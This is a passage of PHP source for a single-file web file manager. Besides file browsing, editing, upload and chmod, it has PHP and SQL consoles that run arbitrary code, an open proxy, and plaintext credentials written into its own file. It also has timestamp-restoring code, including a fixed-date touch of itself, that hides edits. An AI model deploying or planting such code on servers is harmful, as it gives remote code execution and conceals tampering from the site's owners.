if (isset($_GET['fm_settings'])) {
if (isset($_GET['fm_config_delete'])) {
unset($_COOKIE['fm_config']);
setcookie('fm_config', '', time() - (86400 *
$auth['days_authorization']));
header('Location: '.fm_url().'?fm_settings=true');
exit(0);
} elseif (isset($_POST['fm_config'])) {
$fm_config = $_POST['fm_config'];
setcookie('fm_config', serialize($fm_config), time() + (86400 *
$auth['days_authorization']));
$_COOKIE['fm_config'] = serialize($fm_config);
$msg = __('Settings').' '.__('done');
} elseif (isset($_POST['fm_login'])) {
if (empty($_POST['fm_login']['authorize']))
$_POST['fm_login'] = array('authorize' =>
'0') + $_POST['fm_login'];
$fm_login = json_encode($_POST['fm_login']);
$fgc = file_get_contents(__FILE__);
$search =
preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace =
str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
if ($_POST['fm_login']['login'] !=
$auth['login']) $msg .= '
'.__('Login').':
'.$_POST['fm_login']['login'];
if ($_POST['fm_login']['password'] !=
$auth['password']) $msg .= '
'.__('Password').':
'.$_POST['fm_login']['password'];
$auth = $_POST['fm_login'];
}
else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
}
} elseif (isset($_POST['tpl_edited'])) {
$lng_tpl = $_POST['tpl_edited'];
if (!empty($_POST[$lng_tpl.'_name'])) {
$fm_php =
json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
$fm_php =
json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
}
if (!empty($fm_php)) {
$fgc = file_get_contents(__FILE__);
$search =
preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace =
str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
if (file_put_contents(__FILE__, $replace)) {
${$lng_tpl.'_templates'} = $fm_php;
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
}
} else $msg .= __('Error occurred');
}
}
// Just show image
if (isset($_GET['img'])) {
$file=base64_decode($_GET['img']);
if ($info=getimagesize($file)){
switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
case 1: $ext='gif'; break;
case 2: $ext='jpeg'; break;
case 3: $ext='png'; break;
case 6: $ext='bmp'; break;
default: die();
}
header("Content-type: image/$ext");
echo file_get_contents($file);
die();
}
}
// Just download file
if (isset($_GET['download'])) {
$file=base64_decode($_GET['download']);
fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
phpinfo();
die();
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) &&
(!empty($fm_config['enable_proxy']))) {
$url =
isset($_GET['url'])?urldecode($_GET['url']):'';
$proxy_form = '
<div style="position:relative;z-index:100500;background:
linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed
100%);">
<form action="" method="GET">
<input type="hidden" name="proxy"
value="true">
'.fm_home().' <a href="'.$url.'"
target="_blank">Url</a>: <input type="text"
name="url" value="'.$url.'"
size="55">
<input type="submit"
value="'.__('Show').'"
class="fm_input">
</form>
</div>
';
if ($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
curl_close($ch);
//$result =
preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui',
'\\1="'.$url.'/\\2"', $result);
$result =
preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui',
'fm_url_proxy', $result);
$result = preg_replace('%(<body.*?>)%i',
'$1'.'<style>'.fm_home_style().'</style>'.$proxy_form,
$result);
echo $result;
die();
}
}
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,
initial-scale=1" />
<title><?=__('File manager')?></title>
<style>
body {
background-color: white;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 8pt;
margin: 0px;
}
a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover { color: #FFA34F; text-decoration: underline; }
table.bg {
background-color: #ACBBC6
}
th, td {
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
padding: 3px;
}
th {
height: 25px;
background-color: #006699;
color: #FFA34F;
font-weight: bold;
font-size: 11px;
}
.row1 {
background-color: #EFEFEF;
}
.row2 {
background-color: #DEE3E7;
}
.row3 {
background-color: #D1D7DC;
padding: 5px;
}
tr.row1:hover {
background-color: #F3FCFC;
}
tr.row2:hover {
background-color: #F0F6F6;
}
.whole {
width: 100%;
}
.all tbody td:first-child{width:100%;}
textarea {
font: 9pt 'Courier New', courier;
line-height: 125%;
padding: 5px;
}
.textarea_input {
height: 1em;
}
.textarea_input:focus {
height: auto;
}
input[type=submit]{
background: #FCFCFC none !important;
cursor: pointer;
}
.folder {
background-image:
url("data:image/png;base64,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W1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
table{display:block;}
#fm_table td{display:inline;float:left;}
#fm_table tbody td:first-child{width:100%;padding:0;}
#fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
#fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
#fm_table tr{display:block;float:left;clear:left;width:100%;}
#header_table .row2, #header_table .row3
{display:inline;float:left;width:100%;padding:0;}
#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if
(isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
$res = empty($_POST['sql']) ? '' :
$_POST['sql'];
$res_lng = 'sql';
} elseif
(isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
$res = empty($_POST['php']) ? '' :
$_POST['php'];
$res_lng = 'php';
}
if (isset($_GET['fm_settings'])) {
echo '
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File
manager').' -
'.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td
class="row2"
colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the
folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').'
'.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').'
'.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').'
'.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').'
'.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP
version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP
ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').'
'.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').'
xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP
'.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL
'.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input
name="fm_config[sql_server]"
value="'.$fm_config['sql_server'].'"
type="text"></td><td class="row2
whole">SQL server</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_username]"
value="'.$fm_config['sql_username'].'"
type="text"></td><td class="row2
whole">SQL user</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_password]"
value="'.$fm_config['sql_password'].'"
type="text"></td><td class="row2
whole">SQL password</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_db]"
value="'.$fm_config['sql_db'].'"
type="text"></td><td class="row2
whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').'
Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').'
phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').'
'.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after
editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').':
'.__('Restore file time after
editing'),'fm_restore_time').'
<tr><td class="row3"><a
href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset
settings').'</a></td><td
class="row3"><input type="submit"
value="'.__('Save').'"
name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th
colspan="2">'.__('Settings').' -
'.__('Authorization').'</th></tr>
<tr><td class="row1"><input
name="fm_login[authorize]" value="1"
'.($auth['authorize']?'checked':'').'
type="checkbox" id="auth"></td><td
class="row2 whole"><label
for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input
name="fm_login[login]"
value="'.$auth['login'].'"
type="text"></td><td class="row2
whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input
name="fm_login[password]"
value="'.$auth['password'].'"
type="text"></td><td class="row2
whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input
name="fm_login[cookie_name]"
value="'.$auth['cookie_name'].'"
type="text"></td><td class="row2
whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input
name="fm_login[days_authorization]"
value="'.$auth['days_authorization'].'"
type="text"></td><td class="row2
whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea
name="fm_login[script]" cols="35" rows="7"
class="textarea_input"
id="auth_script">'.$auth['script'].'</textarea></td><td
class="row2
whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input
type="submit"
value="'.__('Save').'"
></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
die($proxy_form);
} elseif (isset($res_lng)) {
?>
<table class="whole">
<tr>
<th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
<td
class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?>
<?=__('Console')?><?php
if($res_lng=='sql') echo ' - Database:
'.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
else echo
'</h2></td><td>'.fm_run_input('sql');
?></td></tr></table></td>
</tr>
<tr>
<td class="row1">
<a href="<?=$url_inc.'&path=' .
$path;?>"><?=__('Back')?></a>
<form action="" method="POST"
name="console">
<textarea name="<?=$res_lng?>" cols="80"
rows="10" style="width:
90%"><?=$res?></textarea><br/>
<input type="reset"
value="<?=__('Reset')?>">
<input type="submit"
value="<?=__('Submit')?>"
name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
$active = isset($_POST[$res_lng.'_tpl']) ?
$_POST[$res_lng.'_tpl'] : '';
$select = '<select name="'.$res_lng.'_tpl"
title="'.__('Template').'" onchange="if
(this.value!=-1)
document.forms[\'console\'].elements[\''.$res_lng.'\'].value
= this.options[selectedIndex].value; else
document.forms[\'console\'].elements[\''.$res_lng.'\'].value
=\'\';" >'."\n";
$select .= '<option value="-1">' .
__('Select') . "</option>\n";
foreach ($tmpl as $key=>$value){
$select.='<option value="'.$value.'"
'.((!empty($value)&&($value==$active))?'selected':'').'
>'.__($key)."</option>\n";
}
$select .= "</select>\n";
echo $select;
}
?>
</form>
</td>
</tr>
</table>
<?php
if (!empty($res)) {
$fun='fm_'.$res_lng;
echo '<h3>'.strtoupper($res_lng).'
'.__('Result').'</h3><pre>'.$fun($res).'</pre>';
}
} elseif (!empty($_REQUEST['edit'])){
if(!empty($_REQUEST['save'])) {
$fn = $path . $_REQUEST['edit'];
$filemtime = filemtime($fn);
if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .=
__('File updated');
else $msg .= __('Error occurred');
if ($_GET['edit']==basename(__FILE__)) {
touch(__FILE__,1415116371);
} else {
if (!empty($fm_config['restore_time']))
touch($fn,$filemtime);
}
}
$oldcontent = @file_get_contents($path . $_REQUEST['edit']);
$editlink = $url_inc . '&edit=' .
$_REQUEST['edit'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0'
cellpadding='1' width="100%">
<tr>
<th><?=__('File manager').' -
'.__('Edit').' -
'.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<?=fm_home()?> <a
href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post"
action="<?=$editlink?>">
<textarea name="newcontent"
id="newcontent" cols="45" rows="15"
style="width:99%"
spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
<input type="submit" name="save"
value="<?=__('Submit')?>">
<input type="submit" name="cancel"
value="<?=__('Cancel')?>">
</form>
</td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
if(!empty($_REQUEST['save'])) {
if(fm_chmod($path . $_REQUEST['rights'],
fm_convert_rights($_REQUEST['rights_val']),
@$_REQUEST['recursively']))
$msg .= (__('File updated'));
else $msg .= (__('Error occurred'));
}
clearstatcache();
$oldrights = fm_rights_string($path . $_REQUEST['rights'],
true);
$link = $url_inc . '&rights=' .
$_REQUEST['rights'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a
href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post"
action="<?=$link?>">
<?=__('Rights').' -
'.$_REQUEST['rights']?> <input type="text"
name="rights_val" value="<?=$oldrights?>">
<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
<input type="checkbox"
name="recursively" value="1">
<?=__('Recursively')?><br/>
<?php } ?>
<input type="submit" name="save"
value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} elseif
(!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.')
{
if(!empty($_REQUEST['save'])) {
rename($path . $_REQUEST['rename'], $path .
$_REQUEST['newname']);
$msg .= (__('File updated'));
$_REQUEST['rename'] = $_REQUEST['newname'];
}
clearstatcache();
$link = $url_inc . '&rename=' .
$_REQUEST['rename'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a
href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post"
action="<?=$link?>">
<?=__('Rename')?>: <input
type="text" name="newname"
value="<?=$_REQUEST['rename']?>"><br/>
<input type="submit" name="save"
value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} else {
//Let's rock!
$msg = '';
if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file']))
{
if(!empty($_FILES['upload']['name'])){
$_FILES['upload']['name'] =
str_replace('%', '',
$_FILES['upload']['name']);
if(!move_uploaded_file($_FILES['upload']['tmp_name'],
$path . $_FILES['upload']['name'])){
$msg .= __('Error occurred');
} else {
$msg .= __('Files uploaded').':
'.$_FILES['upload']['name'];
}
}
}
elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.')
{
if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Deleted').'
'.$_REQUEST['delete'];
}
}
elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory']))
{
if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Created').'
'.$_REQUEST['dirname'];
}
} elseif(!empty($_POST['search_recursive'])) {
ini_set('max_execution_time', '0');
$search_data = find_text_in_files($_POST['path'],
$_POST['mask'], $_POST['search_recursive']);
if(!empty($search_data)) {
$msg .= __('Found in files').'
('.count($search_data).'):<br>';
foreach ($search_data as $filename) {
$msg .= '<a
href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'"
title="' . __('Edit') .
'">'.basename($filename).'</a>
';
}
} else {
$msg .= __('Nothing founded');
}
}
elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file']))
{
if(!$fp=@fopen($path .
$_REQUEST['filename'],"w")) {
$msg .= __('Error occurred');
} else {
fclose($fp);
$msg .= __('Created').'
'.$_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source).'.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination))
$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
.' <a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'. $destination.'" >'.__('Delete') .
'</a>';
else $msg .= __('Error occurred').': '.__('no
files');
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ,'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
.' <a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'.$destination.'"
>'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no
files');
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(".", $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file =
str_replace('.'.$ext,'',$destination);
// $ext = end(explode(".", $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg .= __('Task').'
"'.__('Decompress').' '.$source.'"
'.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
set_time_limit(0);
//echo $destination;
$ext_arr = explode('.',basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext=implode('.',$ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ,$ext.'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
.' <a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'.$destination.'"
>'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no
files');
}
?>
<table class="whole" id="header_table" >
<tr>
<th colspan="2"><?=__('File
manager')?><?=(!empty($path)?' -
'.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
<td colspan="2"
class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
<td class="row2">
<table>
<tr>
<td>
<?=fm_home()?>
</td>
<td>
<?php if(!empty($fm_config['make_directory'])) { ?>
<form method="post"
action="<?=$url_inc?>">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="text" name="dirname"
size="15">
<input type="submit" name="mkdir"
value="<?=__('Make directory')?>">
</form>
<?php } ?>
</td>
<td>
<?php if(!empty($fm_config['new_file'])) { ?>
<form method="post"
action="<?=$url_inc?>">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="text" name="filename"
size="15">
<input type="submit" name="mkfile"
value="<?=__('New file')?>">
</form>
<?php } ?>
</td>
<td>
<form method="post"
action="<?=$url_inc?>"
style="display:inline">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="text"
placeholder="<?=__('Recursive search')?>"
name="search_recursive"
value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>"
size="15">
<input type="text" name="mask"
placeholder="<?=__('Mask')?>"
value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>"
size="5">
<input type="submit" name="search"
value="<?=__('Search')?>">
</form>
</td>
<td>
<?=fm_run_input('php')?>
</td>
<td>
<?=fm_run_input('sql')?>
</td>
</tr>
</table>
</td>
<td class="row3">
<table>
<tr>
<td>
<?php if (!empty($fm_config['upload_file'])) { ?>
<form name="form1" method="post"
action="<?=$url_inc?>"
enctype="multipart/form-data">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="file" name="upload"
id="upload_hidden" style="position: absolute; display:
block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;"
onchange="document.getElementById('upload_visible').value =
this.value;" />
<input type="text" readonly="1"
id="upload_visible" placeholder="<?=__('Select the
file')?>" style="cursor: pointer;"
onclick="document.getElementById('upload_hidden').click();"
/>
<input type="submit" name="test"
value="<?=__('Upload')?>" />
</form>
<?php } ?>
</td>
<td>
<?php if ($auth['authorize']) { ?>
<form action=""
method="post">
<input name="quit" type="hidden"
value="1">
<?=__('Hello')?>, <?=$auth['login']?>
<input type="submit"
value="<?=__('Quit')?>">
</form>
<?php } ?>
</td>
<td>
<?=fm_lang_form($language)?>
</td>
<tr>
</table>
</td>
</tr>
</table>
<table class="all" border='0'
cellspacing='1' cellpadding='1' id="fm_table"
width="100%">
<thead>
<tr>
<th style="white-space:nowrap">
<?=__('Filename')?> </th>
<th style="white-space:nowrap">
<?=__('Size')?> </th>
<th style="white-space:nowrap">
<?=__('Date')?> </th>
<th style="white-space:nowrap">
<?=__('Rights')?> </th>
<th colspan="4" style="white-space:nowrap">
<?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
if(@is_dir($path . $file)){
$dirs[] = $file;
} else {
$files[] = $file;
}
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);
foreach ($elements as $file){
$filename = $path . $file;
$filedata = @stat($filename);
if(@is_dir($filename)){
$filedata[7] = '';
if
(!empty($fm_config['show_dir_size'])&&!fm_root($file))
$filedata[7] = fm_dir_size($filename);
$link = '<a
href="'.$url_inc.'&path='.$path.$file.'"
title="'.__('Show').'
'.$file.'"><span
class="folder"> </span>
'.$file.'</a>';
$loadlink= (fm_root($file)||$phar_maybe) ? '' :
fm_link('zip',$filename,__('Compress').' zip',__('Archiving').'
'. $file);
$arlink = (fm_root($file)||$phar_maybe) ? '' :
fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').'
'.$file);
$style = 'row2';
if (!fm_root($file)) $alert =
'onClick="if(confirm(\'' . __('Are you sure you
want to delete this directory (recursively)?').'\n /'.
$file. '\')) document.location.href = \'' . $url_inc .
'&delete=' . $file . '&path=' . $path .
'\'"'; else $alert = '';
} else {
$link =
$fm_config['show_img']&&@getimagesize($filename)
? '<a target="_blank" onclick="var lefto =
screen.availWidth/2-320;window.open(\''
. fm_img_link($filename)
.'\',\'popup\',\'width=640,height=480,left=\'
+ lefto +
\',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return
false;"
href="'.fm_img_link($filename).'"><span
class="img"> </span>
'.$file.'</a>'
: '<a href="' . $url_inc . '&edit=' .
$file . '&path=' . $path. '" title="' .
__('Edit') . '"><span
class="file"> </span>
'.$file.'</a>';
$e_arr = explode(".", $file);
$ext = end($e_arr);
$loadlink =
fm_link('download',$filename,__('Download'),__('Download').'
'. $file);
$arlink =
in_array($ext,array('zip','gz','tar'))
? ''
: ((fm_root($file)||$phar_maybe) ? '' :
fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').'
'. $file));
$style = 'row1';
$alert = 'onClick="if(confirm(\''. __('File
selected').': \n'. $file. '. \n'.__('Are you
sure you want to delete this file?') . '\'))
document.location.href = \'' . $url_inc .
'&delete=' . $file . '&path=' . $path .
'\'"';
}
$deletelink = fm_root($file) ? '' : '<a
href="#" title="' . __('Delete') . '
'. $file . '" ' . $alert . '>' .
__('Delete') . '</a>';
$renamelink = fm_root($file) ? '' : '<a
href="' . $url_inc . '&rename=' . $file .
'&path=' . $path . '" title="' .
__('Rename') .' '. $file . '">' .
__('Rename') . '</a>';
$rightstext = ($file=='.' || $file=='..') ?
'' : '<a href="' . $url_inc .
'&rights=' . $file . '&path=' . $path .
'" title="' . __('Rights') .' '.
$file . '">' . @fm_rights_string($filename) .
'</a>';
?>
<tr class="<?=$style?>">
<td><?=$link?></td>
<td><?=$filedata[7]?></td>
<td style="white-space:nowrap"><?=gmdate("Y-m-d
H:i:s",$filedata[9])?></td>
<td><?=$rightstext?></td>
<td><?=$deletelink?></td>
<td><?=$renamelink?></td>
<td><?=$loadlink?></td>
<td><?=$arlink?></td>
</tr>
<?php
}
}
?>
</tbody>
</table>
<div class="row3"><?php
$mtime = explode(' ', microtime());
$totaltime = $mtime[0] + $mtime[1] - $starttime;
echo fm_home().' | ver. '.$fm_version.' | <a
href="https://github.com/Den1xxx/Filemanager">Github</a>
| <a
href="'.fm_site_url().'">.</a>';
if (!empty($fm_config['show_php_ver'])) echo ' | PHP
'.phpversion();
if (!empty($fm_config['show_php_ini'])) echo ' |
'.php_ini_loaded_file();
if (!empty($fm_config['show_gt'])) echo ' |
'.__('Generation time').': '.round($totaltime,2);
if (!empty($fm_config['enable_proxy'])) echo ' | <a
href="?proxy=true">proxy</a>';
if (!empty($fm_config['show_phpinfo'])) echo ' | <a
href="?phpinfo=true">phpinfo</a>';
if (!empty($fm_config['show_xls'])&&!empty($link)) echo
' | <a href="javascript: void(0)" onclick="var obj =
new table2Excel();
obj.CreateExcelSheet(\'fm_table\',\'export\');"
title="'.__('Download').'
xls">xls</a>';
if (!empty($fm_config['fm_settings'])) echo ' | <a
href="?fm_settings=true">'.__('Settings').'</a>';
?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
var element = document.createElement('a');
element.setAttribute('href',
'data:application/vnd.ms-excel;base64,' + text);
element.setAttribute('download', filename);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
}
function base64_encode(m) {
for (var k =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""),
